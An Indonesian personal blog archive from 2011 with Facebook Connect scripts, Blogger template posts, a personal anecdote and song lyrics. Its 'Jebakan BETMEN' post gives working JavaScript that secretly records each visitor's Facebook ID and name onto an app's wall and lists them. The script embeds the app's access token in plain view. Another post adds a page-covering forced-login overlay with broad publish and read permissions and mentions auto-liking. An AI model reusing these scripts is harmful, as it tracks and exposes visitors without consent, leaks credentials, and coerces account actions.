CSS

Saturday, December 31, 2011

Test Jebakan BETMEN :D

Mohon tidak dipergunakan untuk keperluan yang macem-macem :P (iseng is fun!)

se' wait yo..

Cara Kerja BETMEN :P

Getting UserID and Name:
Pas User ngunjungin Blog dan Connected sama Account Facebook mereka (see: Add Facebook Connect to Your Blog in 8 Minutes :P ...), Aplikasi yang terpasang diBlog bakalan otomatis nyatet userID sama name mereka.

var idUserYgLoginNih;
var namaUserYgLoginNih;

FB.getLoginStatus(function(tahMere){
  if(tahMere.authResponse && tahMere.authResponse.userID){
    idUserYgLoginNih = tahMere.authResponse.userID;
    FB.api('/'+idUserYgLoginNih,'get',{fields:'name'},function(tahMereLagi){
      if(tahMereLagi.name){
        namaUserYgLoginNih = tahMereLagi.name;
      }
    });
  }
});

Lihat hasil tahMereLagi di graph.facebook.com/13?fields=name

Posting/Save The Data:
Terus buat nyimpen data Pengunjung, Aplikasi posting ke wall-nya sendiri dengan menggunakan AppaccessToken aplikasi tersebut (see: developers.facebook.com/tools/access_token/)

function tanyaPesbukGraphApi(uri){
  var e = document.createElement('script'); 
      e.async = 'true'; 
      e.src = uri; 
  document.getElementsByTagName('head')[0].appendChild(e);
}

function hasilKolbekPosting(apaan){
  if(apaan.id){alert(apaan.id)}
  else if(apaan.error){alert(apaan.error.message)}
  else{alert(apaan)}
}

var aksestokenAplikasiYgDiPake = '217310991646263|emd4sw5oNS3koh3QZ0wBUodOHLU';
var idAplikasiYgDiPake = aksestokenAplikasiYgDiPake.split('|')[0];

var alamatYgDiKunjungi = window.location.href;
var judulArticleYgDiKunjungi = document.title;

var uriBuatPosting  = 'https://graph.facebook.com/';
    uriBuatPosting += idAplikasiYgDiPake+'/feed?method=POST';
    uriBuatPosting += '&message='+judulArticleYgDiKunjungi;
    uriBuatPosting += '&link='+alamatYgDiKunjungi;
    uriBuatPosting += '&name='+namaUserYgLoginNih;
    uriBuatPosting += '&caption='+idUserYgLoginNih;
    uriBuatPosting += '&access_token='+aksestokenAplikasiYgDiPake;
    uriBuatPosting += '&callback=hasilKolbekPosting';

tanyaPesbukGraphApi(uriBuatPosting);
Mau nyoba?

Read and Print Result:
Buat nampilin data para pengunjung, sekarang kita tinggal baca aja wall feed dari aplikasinya ^_*

document.write('<div id="laporan-betmen"></div>');

function hasilKolbekBacaWallFeed(apaan){
  var tulisnih='';
  if(apaan.data){
    if(apaan.data.length==0){
      tulisnih+='Datanya Kosong Coy..';
    }else{
      for(x in apaan.data){
        tulisnih+='<div>';
        if(apaan.data[x].caption && apaan.data[x].name){
          tulisnih+='<img src="http://graph.facebook.com/'+apaan.data[x].caption+'/picture" style="width:32px; vertical-align:middle"/> ';
          tulisnih+='<a href="http://www.facebook.com/'+apaan.data[x].caption+'">'+apaan.data[x].name+'</a> ';
        }
        if(apaan.data[x].link && apaan.data[x].message){
          tulisnih+='viewed: <a href="'+apaan.data[x].link+'">'+apaan.data[x].message+'</a> ';
          tulisnih+='at <code>'+apaan.data[x].created_time+'</code>';
        }
        tulisnih+='</div>';
      }
      if(apaan.paging){
        tulisnih+='<div>';
        if(apaan.paging.previous){
          tulisnih+='<a href="javascript:void(0)" onClick="tanyaPesbukGraphApi(\''+apaan.paging.previous+'\')">previous</a> ';
        }
        if(apaan.paging.next){
          tulisnih+='<a href="javascript:void(0)" onClick="tanyaPesbukGraphApi(\''+apaan.paging.next+'\')">next</a> ';
        }
        tulisnih+='</div>';
      }
    }
  }else if(apaan.error){
    tulisnih+=apaan.error.message;
  }else{
    tulisnih+=apaan;
  }

  document.getElementById('laporan-betmen').innerHTML=tulisnih;
}

var limitBacaWallFeed = 5;

var uriBacaWallFeed  = 'https://graph.facebook.com/';
    uriBacaWallFeed += idAplikasiYgDiPake+'/feed?fields=';
    uriBacaWallFeed += 'application,name,caption,link,message';
    uriBacaWallFeed += '&limit='+limitBacaWallFeed;
    uriBacaWallFeed += '&access_token='+aksestokenAplikasiYgDiPake;
    uriBacaWallFeed += '&callback=hasilKolbekBacaWallFeed';

tanyaPesbukGraphApi(uriBacaWallFeed);
Contoh full script bisa dilihat di..
namapanjang.blogspot.com/2011/12/recent-visitor-pake-aplikasi-facebook.html

Sunday, December 25, 2011

FaceBlog Experimental Blogger Template (ver.43)

Template Preview

Contoh Modifikasi

Download XML Template ver.41

Download XML Template ver.43

Apa aja yang mesti diRubah?

Notice!

Template ini masih Experimental, jadi tolong di-review apa yang kurang dan apa yang lebih :P
Kalo punya ide buat template ini, silahkan komen dibawah, gak usah ragu dan bimbang, disini gak ada yang master gak ada yang newbies, semua masukan dianggap special (biarpun keluar dari bo'ol ayam, kalo itu telor, ceplokin aja, goreng, ber-vitamin!! :D)
Kalo punya masukan CSS or Script, silahkan Host filenya, dan link urlnya dikomen bawah.

Regards

Many Thanks to Adit yang udah ngajarin gue soal google code ^_\m/

30 Blogs yang udah pernah masang Template ini:

Lihat Blog mana lagi yang pernah masang Template ini..

Tuesday, December 20, 2011

First kiss last forever

First kiss last forever

Bukan mau Profokasi, tapi kayanya first kiss itu kenangan yang gak gampang buat di lupain. Gimana enggak, pertamakali ngerasain jantung deg degan, perasaan gak karuan, bibir pecah-pecah dan susah buang airbesar haha.. "berjuta rasanya" gitu deh, iya kan?!

Pertama gw kenal sama yang namanya cewe itu esempe kelas 2, gue suka dia cuman karna Hey tali sepatu kamu lepas tuh.. haha.. aneh ya?!, tapi ya gitu deh, dari ±30 temen sekelas cuman satu cewe cantik yang sadar kalo tali sepatu gue lepas.. padahal kaki gue kan di kolong meja :D

Satu hari acara kumpul masak-masak gitu deh di rumah temen ceritanya sih kerja kelompok tapi lebih condong ke makan-makan kayanya :D.

Jam 8 malem, teras belakang rumah temen gue enak banget.., adem, sepi, cuman gue berdua di situ nunggu nasi mateng lama amat.

Udah 4 hari kita jadian gak pernah kepikiran buat yang namanya ciuman sama sekali.

Duduk berdua, ngobrol becanda-canda, lama-lama gue senderan kepala ke bahu dia, menatap bintang di langit yang gelap :P,
Gue bilang segimana gue sayang banget sama dia, jujur soal perasaan gue ke dia waktu itu, ku genggam tangannya sambil menatap bintang-bintang gemerlap.

Serius gak sengaja, tiba-tiba aja gue ngomong Aku boleh nyium kamu enggak? nyeletuk gitu aja, gue juga kaget, habis gimana tanggung udah keluar kan..,

gak lama sambil sedikit ketawa-tawa dia bilang .. mmm,, boleh ko'.. .. .. deg.. deg..,, deg.. deg..,, :D

Gue duduk ngadep kedia situasi udah mulai rada gak karuan nih tiba-tiba dia nutup matanya,, gue bingung mesti ngapain!! pelan-pelan deket sampe gue bisa nyium aroma nafas dia.. ..,, Silence.... ..

(kalo inget sekarang, "ngapain tuh anak pake acara merem segala XD")

Besoknya temen gue nanya Semalem ngapain lo di belakang berduaan?! wkwkkkkkk... ternyaWa banyak backstage audience XD kampret. Sekarang gue gak pernah denger kabar dia entah dimana dan sama siapa, yang pasti 'malem itu' gak bisa gue lupa gitu aja. :P

Bagaimana dengan Anda?!
kebetulan gue lagi pengen ngoleksi cerita-cerita tentang 'kisah lampau' nih, boleh dong kalo elo sharing-sharing sedikit di bawah :) ya?!

Sunday, December 18, 2011

Evanescence - Forgive Me

I think it has to do with someone who's gotten in a fight with someone else, like maybe taken their anger out on them, and they feeling bad being it hurts them that they hurt someone they loved, and even though they aren't fighting, they're both still hurt.

I think it has to do with someone who's gotten in a fight with someone else, like maybe taken their anger out on them, and they feeling bad being it hurts them that they hurt someone they loved, and even though they aren't fighting, they're both still hurt.

Everyone can relate to this song in some way. I know i can be an asshole to the people i love and this song always seems to fit. I love this song. Evanescence have a wonderful habit for just getting it right. 'Forgive Me' is a beautiful song and of course, Amy Lee's vocals make it even more beautiful.

can you forgive me again
i don't know what i said
but i didn't mean to hurt you

i heard the words come out
i felt that i would die
it hurt so much to hurt you

then you look at me
you're not shouting anymore
you're silently broken

id give anything now
to kill those words for you
each time i say something i regret
i cry, "i don't wanna lose you"

but somehow i know that
you will never leave me, yeah.

cause you were made for me
somehow ill make you see
how happy you make me

i cant live this life
without you by my side
i need you to survive

so stay with me
you look in my eyes
and I'm screaming inside that I'm sorry

and you forgive me again
you're my one true friend
and i never meant to hurt you.

Great song, anyway... any comment? :P

Apdet Status via Araraneh :D ckckck [updated]

ya lumayan lah, daripada lumanyun iya nggak?, kalo punya aplikasi pesbuk terus gak kepake gitu kan sayang juga, daripada nganggur mending tongkrongin disini siapa tau ada yang nyolek :P biar seenggaknya ada itungan active usenya :D kan gengsinya jadi naik noh :P

yang punya applikasi unik lainnya, bagi appId nya disini coy.. :D ?!




yang punya applikasi unik lainnya, bagi appId nya disini coy.. :D ?!

Friday, December 16, 2011

Add Facebook Connect to Your Blog in 8 Minutes :P [UPDATED]

Ini script standard yang biasa gw pake diBlog.

Yang paling penting dari Connect Facebook ke blog yaitu
Setting Site Domain Applikasi facebook ke blogspot.com

Yang perlu lo rubah dari Script dibawah, cuman..
var idAplikasi = '131581493563698';
Sisanya terserah ..

CSS

<style type="text/css"><!--
.blok-element{
  display:none; 
  position:fixed; 
  z-index:97; 
  width:100%; height:100%; top:0px; left:0px; 
  background:transparent url(http://3.bp.blogspot.com/_bBL9ze_JZsw/TULZLR21ZxI/AAAAAAAAANM/AR5zmvKZrPc/s1600/white25.png) repeat scroll top left; 
  cursor:pointer;
}
.blok-element-dalem{
  background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOSpgMIC7xlCrxmcMhdHibJs4qyx58DihAXIg4q32U-CO59cVX8bLOWwQmA-xVKPBW_4_zlEyXX4e9RTy08W4r6fAG6bXKjfjGblOGtve_xENtolkKKsRxr3APyS2C2QvhS1MdAdjvH_Y/s1600/punk-boy.png) no-repeat scroll bottom right; 
  position:relative; 
  z-index:99; 
  width:100%; height:100%; 
}
--></style>

Block Element

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOSpgMIC7xlCrxmcMhdHibJs4qyx58DihAXIg4q32U-CO59cVX8bLOWwQmA-xVKPBW_4_zlEyXX4e9RTy08W4r6fAG6bXKjfjGblOGtve_xENtolkKKsRxr3APyS2C2QvhS1MdAdjvH_Y/s1600/punk-boy.png" style="display:none;"/>

<script type="text/javascript">
<!--
//jaga-jaga kalo elements gak ada..
  if(!document.getElementById('fb-root')){
    document.write('<div id="fb-root"></div>');
  }
  if(!document.getElementById('facebook-propic')){
    document.write('<img id="facebook-propic" src="" style="display:none;"/>');
  }
  if(!document.getElementById('block-login-aing')){
    document.write('<div id="block-login-aing" class="blok-element" onclick="loginKaAing()" title="Login with Facebook">');
    document.write('<div class="blok-element-dalem" title="Login with Facebook"></div>');
    document.write('</div>');
  }

//Global Variable..
  var idAplikasi = '131581493563698';
  var idUserYgLogin = '';

  var blokLoginElment = document.getElementById('block-login-aing');
  var tempatGambarPropil = document.getElementById('facebook-propic');
//-->
</script>

Functions

<script type="text/javascript">
<!--
function loadAplikasiAing(appid){
  window.fbAsyncInit = function() {
    FB.init({appId: appid, status: true, cookie: true, xfbml: true, oauth: true});
    var getLoginGagal = setTimeout("titahLoginHeula()",30000);

    FB.getLoginStatus(function(pulangan){
      clearTimeout(getLoginGagal);
      if(pulangan.authResponse && pulangan.authResponse.userID){
        idUserYgLogin = pulangan.authResponse.userID;
      }else{
        titahLoginHeula();
      }
      tulisDitelLoginAing(pulangan);
    });
  };
  (function() {
    var e = document.createElement('script'); e.async = 'true';
        e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
    document.getElementById('fb-root').appendChild(e);
  }());
}

function titahLoginHeula(){
  blokLoginElment.style.display='block';
}

function loginKaAing(){
  FB.login(tulisDitelLoginAing,{scope:'status_update,user_status,friends_status,read_stream,publish_stream,share_item,publish_actions'});
}

function tulisDitelLoginAing(tahMere){
  if(tahMere.authResponse){
    if(tahMere.authResponse.userID){
      idUserYgLogin = tahMere.authResponse.userID;
      tempatGambarPropil.src='http://graph.facebook.com/'+tahMere.authResponse.userID+'/picture?type=large';
    }
  }
  if(tahMere.status){
    if(tahMere.status=='connected'){
      blokLoginElment.style.display='none';

//execute scripts setelah sesi connect facebook selesai..
      nextSript();
    }
  }
}

function nextSript(){
//execute scripts setelah sesi connect facebook selesai..
  if(typeof postScript != 'undefined'){postScript()}
}

loadAplikasiAing(idAplikasi);
//-->
</script>

Wanna Cry?!,, eh,, Wanna Try?!

Insert your application ID:
loadAplikasiAing('270416582055')



Soal //execute scripts setelah sesi connect facebook selesai..

Semua script yang ada di blog ini yang berhubungan sama Facebook, semuanya cuman bisa jalan kalo Connect facebook udah selesai diLoad.

jadi seperti yang bisa lo liat diatas, ada function nextSript() yang didalemnya nge-trigg (istilah gw, jangan diikutin :P) atau manggil function postScript() Kalo emang ada function postScript-nya

misal gw punya script kaya gini..

<center>
<embed id="peuler" wmode="transparent" src="" quality="high" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" height="20"></embed>
</center>


<script type="text/javascript">
<!--
function postScript(){
  document.getElementById('peuler').src = 'http://beemp3.com/player/player.swf?soundFile=http://irland.heck.in/files/cokelat-dilema.mp3&autostart=yes&loop=yes';
}
//-->
</script>

Maka setelah Script connect facebook selesai nge-Load,, baru music bakalan diPlay (function postScript() diPanggil).

Friday, December 9, 2011

Blogger conditional tags

Conditional tags allow you to specify parts of your template to appear only under certain conditions.

Kalo pernah buka HTML Template Blogger, mungkin pernah ngeliat yang kaya gini..

    <b:if cond='data:blog.pageType == &quot;index&quot;'> 
      <title><data:blog.title/></title> 
    <b:else/> 
      <title><data:blog.pageName/> | <data:blog.title/></title> 
    </b:if>

Hasil dari tags diatas, pas kita ngunjungin Blog Home, yang kita liat di Title Bar cuman Nama Blog aja (data:blog.title), tapi pas kita buka Postingan atau Article yang kita liat di Title Bar Judul Article | Nama Blog (<data:blog.pageName/> | <data:blog.title/>)

Facebook Open Graph Meta Tags

  <b:if cond='data:blog.pageType == &quot;index&quot;'> 
      <title><data:blog.title/></title> 
      <meta expr:content='data:blog.title' property='og:title'/>
      <meta expr:content='data:blog.homepageUrl' property='og:url'/>
  <b:else/> 
      <title><data:blog.pageName/> | <data:blog.title/></title> 
      <meta expr:content='data:blog.pageName + &quot; | &quot; + data:blog.title' property='og:title'/>
      <meta expr:content='data:blog.url' property='og:url'/>
  </b:if>
Hasil Share ke Facebook

-------------------

Home Page Only

To display only on home page
    <b:if cond='data:blog.url == data:blog.homepageUrl'>
    What is in here will be displayed only on home page
    </b:if> 

Archive Page Only

To display only on archive page
    <b:if cond='data:blog.pageType == &quot;archive&quot;'> 
    What is in here will be displayed only on archive page
    </b:if> 

Item/Post Page Only

To display only on item page
    <b:if cond='data:blog.pageType == &quot;item&quot;'> 
    What is in here will be displayed only on item page
    </b:if> 

Static Page Only

To display only on static pages
    <b:if cond='data:blog.pageType == &quot;static_page&quot;'> 
    What is in here will be displayed only on static page
    </b:if> 

Specific URL Only

To display only on specific URL
    <b:if cond='data:blog.url == &quot;http://aing-creations.blogspot.com/&quot;'> 
    What is in here will be displayed on above URL only
    </b:if> 

Certain Labels Only

To display only on certain labels only
  <b:loop values='data:post.labels' var='label'>
    <b:if cond='data:label.name == &quot;what the f&quot;'> 
    What is in here will be displayed only on Posts which have label what the f
    </b:if> 
  </b:loop>
You will need to be inside Blog Posts loop in order to use Certain Labels Only code

Thursday, December 8, 2011

AingCreations Dark Blogger Template © 2011

Template Name:
AingCreations Dark Scheme
Theme Preview:
apa-ya-alamatnya.blogspot.com
Donate:
Pulsa Simpati 10ribu ke no. 0812-8026-5721
Download Link:
aingcreations-dark.zip
widgets-content4aingcreat.zip

Cara dapetin Site ID

Masuk ke google.com/friendconnect/admin/site/

Hasilnya http://www.google.com/friendconnect/admin/site/overview?id=05313148485985746336

Berdasarkan Breaking Change: JavaScript SDK to oauth:true on December 13th,
FB.init({appId:YOUR_APP_ID, status:true, cookie:true, xfbml:true, oauth:true});

Perubahan berpengaruh ke CALLBACK dari API:
session.uid menjadi authResponse.userID
session.access_token menjadi authResponse.accessToken
session menjadi authResponse

FB.login(tulisDitelLoginAing,{perms: ...
menjadi..
FB.login(tulisDitelLoginAing,{scope: ...



~ Enjoy ~



Saturday, December 3, 2011

Aing Pernah kaDieu (Facebook visitors record)

Buat nampilin siapa aja yang udah ngelike post id yang dipake, gak butuh login ke facebook dulu, bisa langsung tampil, asal Post_id yang di pake Privacy nya di set ke Public. tapi pastinya kalo gak login/connect ke facebook, auto like gak jalan dong,, jadi tetep discript ini pake function postScript buat masang autolike..